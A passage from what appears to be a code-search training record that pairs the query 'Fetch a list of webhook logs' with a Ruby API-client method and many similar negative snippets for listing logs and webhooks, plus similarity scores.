"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list_logs(user_id:, queries: nil)\n path = '/users/{userId}/logs'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n queries: queries,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::LogList\n )\n end",
"def get_logs(opts = {})\n data, _status_code, _headers = get_logs_with_http_info(opts)\n data\n end",
"def list_log_https(opts = {})\n data, _status_code, _headers = list_log_https_with_http_info(opts)\n data\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n req = V1::AccountAttachmentHistoryListRequest.new()\n req.meta = V1::ListRequestMetadata.new()\n page_size_option = @parent._test_options[\"PageSize\"]\n if page_size_option.is_a? Integer\n req.meta.limit = page_size_option\n end\n if not @parent.snapshot_time.nil?\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.filter = Plumbing::quote_filter_args(filter, *args)\n resp = Enumerator::Generator.new { |g|\n tries = 0\n loop do\n begin\n plumbing_response = @stub.list(req, metadata: @parent.get_metadata(\"AccountAttachmentsHistory.List\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n tries = 0\n plumbing_response.history.each do |plumbing_item|\n g.yield Plumbing::convert_account_attachment_history_to_porcelain(plumbing_item)\n end\n break if plumbing_response.meta.next_cursor == \"\"\n req.meta.cursor = plumbing_response.meta.next_cursor\n end\n }\n resp\n end",
"def get_bre_event_logs(opts = {})\n data, _status_code, _headers = get_bre_event_logs_with_http_info(opts)\n return data\n end",
"def fetch_flow_logs(ec2_client, vpc_id)\n logger.info(\"fetching flow logs of vpc:#{vpc_id}\")\n next_token = nil\n flow_logs = []\n\n begin\n options = { next_token: nil, max_results: 50, filter: [{ name: 'resource-id', values: [vpc_id] }] }\n resp = ec2_client.describe_flow_logs(options)\n next_token = resp.next_token\n flow_logs += resp.flow_logs\n end while next_token\n flow_logs\n end",
"def getLog(page = 1, per_page = 20, order_by = ORDERBY_REQUEST_TIME, order_dir = ORDERDIR_DESC)\n\t\t\treturn PushSubscription.getLogs(@user, page, per_page, order_by, order_dir, @id)\n\t\tend",
"def index\n @config_logs = ConfigLog.all\n end",
"def files\n page = get_page\n offset = PER_PAGE * page\n get_run_logs(:limit => PER_PAGE, :offset => offset)\n end",
"def fetch_entries(quantity=30)\n logger.info \"#{SERVICE_NAME}: Fetching #{quantity} most recent tweets by #{self.twitter_login}\"\n Twitter::Search.new.\n from(self.twitter_login).\n per_page(quantity).\n fetch.\n results\n rescue Timeout::Error => tme\n logger.warn \"#{SERVICE_NAME}: Error fetching posts (timeout error): #{tme}\"\n []\n rescue => e\n logger.warn \"#{SERVICE_NAME}: Error fetching posts: #{e}\"\n []\n end",
"def get_user_logs(accessToken, username)\n found = 0\n loop do\n req = {\n 'AccessToken' => accessToken,\n 'Username' => username,\n 'MaxPerPage' => MAX_LOGS,\n 'LogTypes' => [2],\n 'StartIndex' => found,\n }\n data = _post('/LiveV6IAP/Geocaching.svc/GetUsersGeocacheLogs', req)\n\n _check_result(data)\n\n logs = data['Logs']\n yield logs\n found += logs.size\n break if logs.size < MAX_LOGS\n end\n end",
"def index\n if params[:whose]\n @rblogs = Rblog.my_blogs(params[:whose])\n if params[:private]\n @rblogs = @rblogs.my_private_blogs(params[:whose])\n else\n @rblogs = @rblogs.my_shared_blogs(params[:whose])\n end\n else\n @rblogs = Rblog.shared\n end\n @rblogs = @rblogs.paginate(page: params[:page], per_page: 10)\n # if request.xhr?\n # sleep(1)\n # render :partial => @rblogs\n # end\n end",
"def entries(limit=nil)\n limit ||= -1\n LiveJournal::Request::GetEvents.new(@user, :recent => limit, :strict => false).run\n end",
"def sleep_logs_list(params = {})\n default_params = { before_date: Date.today, after_date: nil, sort: 'desc', limit: 20, offset: 0 }\n get(\"user/#{user_id}/sleep/list.json\", default_params.merge(params))\n end",
"def list_log_kafka(opts = {})\n data, _status_code, _headers = list_log_kafka_with_http_info(opts)\n data\n end",
"def index\n # limit all queries\n @audits = query_limit_all(AUDIT, :login, :message).reverse\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @audits }\n end\n end",
"def recent\n @limit = 10\n @webhooks = Webhook.limit(@limit).order(id: :desc)\n end",
"def list_all_account_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_all_account_logs ...'\n end\n # resource path\n local_var_path = '/Accounts/{accountId}/Logs'.sub('{' + 'accountId' + '}', CGI.escape(account_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogList'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['fc']\n\n new_options = opts.merge(\n :operation => :\"DefaultApi.list_all_account_logs\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_all_account_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @log_messages = LogMessage.find(:all, :order => 'created_at DESC')\n\n respond_to do |format|\n format.html # index.html.haml\n format.xml { render :xml => @log_messages }\n end\n end",
"def index\n @rcadmin_login_logs = Rcadmin::LoginLog.all\n end",
"def get_bre_forward_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_forward_logs ...\"\n end\n # resource path\n local_var_path = \"/bre/logs/forward-log\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_start_date'] = opts[:'filter_start_date'] if !opts[:'filter_start_date'].nil?\n query_params[:'filter_end_date'] = opts[:'filter_end_date'] if !opts[:'filter_end_date'].nil?\n query_params[:'filter_status_code'] = opts[:'filter_status_code'] if !opts[:'filter_status_code'].nil?\n query_params[:'filter_url'] = opts[:'filter_url'] if !opts[:'filter_url'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceForwardLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_forward_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_bre_forward_logs(opts = {})\n data, _status_code, _headers = get_bre_forward_logs_with_http_info(opts)\n return data\n end",
"def index\n @ethernet_logs = EthernetLog.all\n end",
"def filing_history_list(company_number, category = nil, items_per_page = nil, start_index = nil)\n params = {category: category}\n params[:items_per_page] = items_per_page if items_per_page\n params[:start_index] = start_index if start_index\n\n client.get(\"company/#{company_number}/officers/\", params)\n end",
"def index\n @o_all = @ticket.ticket_logs\n end",
"def get_event_logs(last_n=5)\n\n service_logs = []\n\n logrow = 0\n\n if last_n > @describe_service.services[0].events.length\n loop_to = @describe_service.services[0].events.length\n else\n loop_to = last_n\n end\n\n while logrow < loop_to\n log = RaisEcs::ServiceEventLog.new({\n id: @describe_service.services[0].events[logrow].id,\n created_at: @describe_service.services[0].events[logrow].created_at,\n message: @describe_service.services[0].events[logrow].message\n })\n\n service_logs << log\n logrow += 1\n end\n\n return service_logs\n\n end",
"def index\n @audit_logs = AuditLog.all\n end",
"def index\n @logs = @goal.logs.order('log_date DESC')\n @log = Log.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @logs }\n end\n end",
"def details(webhook_log_id)\n API::request(:get, \"webhook_logs/#{webhook_log_id}\")\n end",
"def index\n @web_process_logs = WebProcessLog.all\n end",
"def index\n @hooks = Hook.all\n respond_with(@hooks)\n end",
"def webhooks_list(owner, repo, opts = {})\n data, _status_code, _headers = webhooks_list_with_http_info(owner, repo, opts)\n return data\n end",
"def logs_get(opts = {})\n data, _status_code, _headers = logs_get_with_http_info(opts)\n data\n end",
"def list_log_heroku(opts = {})\n data, _status_code, _headers = list_log_heroku_with_http_info(opts)\n data\n end",
"def list_webhooks(opts = {})\n data, _status_code, _headers = list_webhooks_with_http_info(opts)\n data\n end",
"def log\n count = default_log_lines(params)\n lines = get_file_lines(log: true, tail: count)\n respond_with(lines)\n end",
"def log_contents\n if API_KEYS[\"logentries\"]\n account_key = API_KEYS[\"logentries\"][Rails.env][\"account_key\"]\n log_set = API_KEYS[\"logentries\"][Rails.env][\"log_set\"]\n log_name = \"nsc\"\n url = \"https://pull.logentries.com/#{account_key}/hosts/#{log_set}/#{log_name}/?filter=#{log_prefix}\"\n Rails.logger.debug { \"Fetching log from #{url}\" }\n open(url).read\n else\n File.read(log_path)\n end\n end",
"def index\n @redirect_logs = RedirectLog.all\n end",
"def list(domain, options = {})\n res = @client.get(\"domains/#{domain}/webhooks\", options)\n res.to_h['webhooks']\n end"
] |
[
"0.68233037",
"0.67531914",
"0.64127994",
"0.640695",
"0.6367033",
"0.6350066",
"0.62848735",
"0.627408",
"0.6247584",
"0.6181621",
"0.6174508",
"0.61253816",
"0.6123115",
"0.61198145",
"0.61084515",
"0.61021256",
"0.6092713",
"0.60861313",
"0.60808295",
"0.6077693",
"0.6072735",
"0.6033707",
"0.60284114",
"0.6024852",
"0.6020623",
"0.60100394",
"0.6009587",
"0.5995808",
"0.5993391",
"0.5986821",
"0.5986763",
"0.5967176",
"0.59065",
"0.58971053",
"0.58596694",
"0.5859091",
"0.58501995",
"0.5821586",
"0.5815716",
"0.5793254",
"0.57704395",
"0.5758751",
"0.5753334",
"0.5736895",
"0.5728283",
"0.57238257",
"0.57226324",
"0.5721853",
"0.5719884",
"0.571377",
"0.5694486",
"0.5685451",
"0.5669777",
"0.56697196",
"0.5666646",
"0.5665967",
"0.5658629",
"0.5658629",
"0.5658629",
"0.5658629",
"0.5647179",
"0.5619769",
"0.5610603",
"0.5602567",
"0.5589984",
"0.558561",
"0.55824",
"0.558094",
"0.55807155",
"0.5578077",
"0.5577615",
"0.5547444",
"0.5545767",
"0.55429167",
"0.55414903",
"0.5534602",
"0.552425",
"0.552221",
"0.55184495",
"0.5512955",
"0.5503804",
"0.5497053",
"0.54807836",
"0.5474697",
"0.54730314",
"0.5471807",
"0.54634154",
"0.5456854",
"0.545605",
"0.5451168",
"0.5448887",
"0.5439178",
"0.5439037",
"0.5436741",
"0.5430646",
"0.5423144",
"0.54214454",
"0.54090464",
"0.54056835"
] |
0.69760996
|
0
|
Fetch a list of webhook logs Returns a list of webhook logs. Response includes pagination.
|
def get_webhook_logs_with_http_info(opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: LogsApi.get_webhook_logs ...'
end
# resource path
local_var_path = '/logs/webhooks'
# query parameters
query_params = {}
query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?
query_params[:'per'] = opts[:'per'] if !opts[:'per'].nil?
query_params[:'created_at_from'] = opts[:'created_at_from'] if !opts[:'created_at_from'].nil?
query_params[:'created_at_to'] = opts[:'created_at_to'] if !opts[:'created_at_to'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookLogListResponse')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: LogsApi#get_webhook_logs\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_webhook_logs(opts = {})\n data, _status_code, _headers = get_webhook_logs_with_http_info(opts)\n data\n end",
"def get_webhook_logs(opts = {})\n data, _status_code, _headers = get_webhook_logs_with_http_info(opts)\n data\n end",
"def list(options={})\n Mailgun.submit(:get, log_url, options)\n end",
"def index\n\t\t\t@logs = AppTracker::Log.order('created_at DESC').paginate(:page => params[:page], :per_page => 50)\n\t\tend",
"def index\n @web_service_logs = WebServiceLog.limit(20).order(\"id desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @web_service_logs }\n end\n end",
"def read_logs_all()\n logs = Log.find(:all, :order => 'created_at asc')\n end",
"def logs(options = {})\n request_params = {\n q: options.fetch(:q, nil),\n page: options.fetch(:page, nil),\n per_page: options.fetch(:per_page, nil),\n sort: options.fetch(:sort, nil),\n fields: options.fetch(:fields, nil),\n include_fields: options.fetch(:include_fields, nil),\n include_totals: options.fetch(:include_totals, nil),\n from: options.fetch(:from, nil),\n take: options.fetch(:take, nil)\n }\n if request_params[:take].to_i > 100\n raise Auth0::InvalidParameter, 'The total amount of entries to retrieve should be less than 100'\n end\n if request_params[:per_page].to_i > 100\n raise Auth0::InvalidParameter, 'The total amount of entries per page should be less than 100'\n end\n get(logs_path, request_params)\n end",
"def get_webhook_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_webhook_logs ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_logs, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_logs, must be greater than or equal to 1.'\n end\n\n allowable_values = [\"success\", \"error\"]\n if @api_client.config.client_side_validation && opts[:'status'] && !allowable_values.include?(opts[:'status'])\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/v1/webhook_logs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'status'] = opts[:'status'] if !opts[:'status'].nil?\n query_params[:'webhookId'] = opts[:'webhook_id'] if !opts[:'webhook_id'].nil?\n query_params[:'applicationId'] = opts[:'application_id'] if !opts[:'application_id'].nil?\n query_params[:'campaignId'] = opts[:'campaign_id'] if !opts[:'campaign_id'].nil?\n query_params[:'requestUuid'] = opts[:'request_uuid'] if !opts[:'request_uuid'].nil?\n query_params[:'createdBefore'] = opts[:'created_before'] if !opts[:'created_before'].nil?\n query_params[:'createdAfter'] = opts[:'created_after'] if !opts[:'created_after'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20035' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_webhook_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @logs = Log\n .order(start_time: :desc)\n .limit(100)\n .offset(params[:offset])\n\n render json: @logs\n end",
"def list()\n _params = {}\n return @master.call 'webhooks/list', _params\n end",
"def index\n @ncr_api_logs = NcrApiLog.all\n end",
"def get_logs(opt={})\n opt[:from] ||= Date.today\n #opt[:to] ||= Date.today - 1\n opt[:parse] = opt[:parse].nil? ? true : opt[:parse]\n \n #raise \":from date must preceed :to date.\" if opt[:to] && opt[:to] < opt[:from]\n \n uri_str = \"#{API_URL}/GetDailyReportLogs/#{options[:site]}?#{self.generate_authorization_token}\"\n uri_str << \"&StartDate=#{opt[:from]}\"\n uri_str << \"&EndDate=#{opt[:to]}\" if opt[:to]\n url = URI.parse uri_str\n \n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n resp = http.start {\n request = Net::HTTP::Get.new(url.to_s)\n response = http.request(request)\n response.body\n }\n if resp =~ /No.*?log data found/\n return opt[:parse] ? [] : resp\n end\n \n return opt[:parse] ? Log.parse(resp) : resp\n end",
"def list(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'list', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def fetch_flow_logs(region)\n ec2_client = get_ec2_client(region)\n next_token = nil\n flow_logs = []\n\n loop do\n options = { next_token: nil, max_results: 50 }\n resp = ec2_client.describe_flow_logs(options)\n next_token = resp.next_token\n flow_logs += resp.flow_logs\n break unless next_token\n end\n flow_logs\n end",
"def list\n Mailgun.submit(:get, webhook_url)[\"webhooks\"] || []\n end",
"def list_logs_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsAPI.list_logs ...'\n end\n # resource path\n local_var_path = '/api/v2/logs/events/search'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogsListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :list_logs,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Post, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsAPI#list_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list\n websites = @logs.records\n @view.show(websites)\n end",
"def get_logs(opts = {})\n @transporter.read(:GET, '/1/logs', {}, opts)\n end",
"def index\n @message_logs = MessageLog.ordered.paginate(page: params[:page])\n end",
"def index\n @user_logs_all = UserLog.fetch_data(current_user)\n @user_logs = @user_logs_all.paginate(page: params[:page], per_page: 15)\n end",
"def read_logs_all()\n #logs = Log.find(:all, :order => 'created_at asc')\n logs = Log.all.order('created_at asc')\n end",
"def list\n get(uri: '/webhooks/')\n end",
"def index\n @entry_logs = EntryLog.all\n end",
"def list_logs_get_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsAPI.list_logs_get ...'\n end\n allowable_values = ['indexes', 'online-archives']\n if @api_client.config.client_side_validation && opts[:'filter_storage_tier'] && !allowable_values.include?(opts[:'filter_storage_tier'])\n fail ArgumentError, \"invalid value for \\\"filter_storage_tier\\\", must be one of #{allowable_values}\"\n end\n allowable_values = ['timestamp', '-timestamp']\n if @api_client.config.client_side_validation && opts[:'sort'] && !allowable_values.include?(opts[:'sort'])\n fail ArgumentError, \"invalid value for \\\"sort\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_limit'].nil? && opts[:'page_limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_limit\"]\" when calling LogsAPI.list_logs_get, must be smaller than or equal to 1000.'\n end\n # resource path\n local_var_path = '/api/v2/logs/events'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'filter[query]'] = opts[:'filter_query'] if !opts[:'filter_query'].nil?\n query_params[:'filter[indexes]'] = @api_client.build_collection_param(opts[:'filter_indexes'], :csv) if !opts[:'filter_indexes'].nil?\n query_params[:'filter[from]'] = opts[:'filter_from'] if !opts[:'filter_from'].nil?\n query_params[:'filter[to]'] = opts[:'filter_to'] if !opts[:'filter_to'].nil?\n query_params[:'filter[storage_tier]'] = opts[:'filter_storage_tier'] if !opts[:'filter_storage_tier'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'page[cursor]'] = opts[:'page_cursor'] if !opts[:'page_cursor'].nil?\n query_params[:'page[limit]'] = opts[:'page_limit'] if !opts[:'page_limit'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogsListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :list_logs_get,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsAPI#list_logs_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_all_logs(date_range_start, date_range_end, search = '', log_level = '',\n logger_assembly = '', user_id = 0, message_group_id = 0,\n include_traces = nil, org_unit_id = 0, bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/logging/\"\n path += \"?dateRangeStart=#{date_range_start}\"\n path += \"&dateRangeEnd=#{date_range_end}\"\n path += \"&search=#{search}\" if search != ''\n path += \"&logLevel=#{log_level}\" if log_level != ''\n path += \"&loggerAssembly=#{logger_assembly}\" if logger_assembly != ''\n path += \"&userId=#{user_id}\" if user_id != 0\n path += \"&messageGroupId=#{message_group_id}\" if message_group_id != 0\n path += \"&includeTraces=#{include_traces}\" unless include_traces.nil?\n path += \"&orgUnitId=#{org_unit_id}\" if org_unit_id != 0\n path += \"&bookmark=#{bookmark}\" if bookmark != ''\n ap path\n _get(path)\n # returns paged result set of Message data blocks\nend",
"def index\n @error_logs_all = ErrorLog.fetch_data(current_user)\n @error_logs = @error_logs_all.paginate(page: params[:page], per_page: 15)\n end",
"def list_logs_get(opts = {})\n data, _status_code, _headers = list_logs_get_with_http_info(opts)\n data\n end",
"def get_webhook_activation_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_webhook_activation_logs ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_activation_logs, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_activation_logs, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/v1/webhook_activation_logs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'integrationRequestUuid'] = opts[:'integration_request_uuid'] if !opts[:'integration_request_uuid'].nil?\n query_params[:'webhookId'] = opts[:'webhook_id'] if !opts[:'webhook_id'].nil?\n query_params[:'applicationId'] = opts[:'application_id'] if !opts[:'application_id'].nil?\n query_params[:'campaignId'] = opts[:'campaign_id'] if !opts[:'campaign_id'].nil?\n query_params[:'createdBefore'] = opts[:'created_before'] if !opts[:'created_before'].nil?\n query_params[:'createdAfter'] = opts[:'created_after'] if !opts[:'created_after'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20034' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_webhook_activation_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @logs = Log.all\n end",
"def limited_log_list\n logs.all.last(max_log_count || DEFAULT_MAX_LOGS)\n end",
"def retrieve_logs_for_download\n parse_files_for_download\n\n output = ''\n jsons.reverse_each do |elem|\n output.insert(0, insert_log_line_for_download(elem))\n end\n\n output\n end",
"def log_entries\n @user = User.find(params[:id])\n @log_entries = LogEntry.where(:user_id => @user.id).page(params[:page] || 1)\n end",
"def logs\n cloud = Cloud.instance\n cloud.auth_for_accounts [id]\n cloud.get(['cloud-service-logging', 'accounts', id, 'logs', 'paginated?lang=DE']).body.logs\n end",
"def find_weblogs_for_offset(offset)\n weblogs.all(offset: offset, limit: DEFAULT_OFFSET)\n end",
"def index\n @logs = Log.order(\"#{sort_column} #{sort_direction}\").page(params[:page]).per(10)\n end",
"def get_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_logs ...'\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling LogsApi.get_logs, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling LogsApi.get_logs, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/logs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"LogsApi.get_logs\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
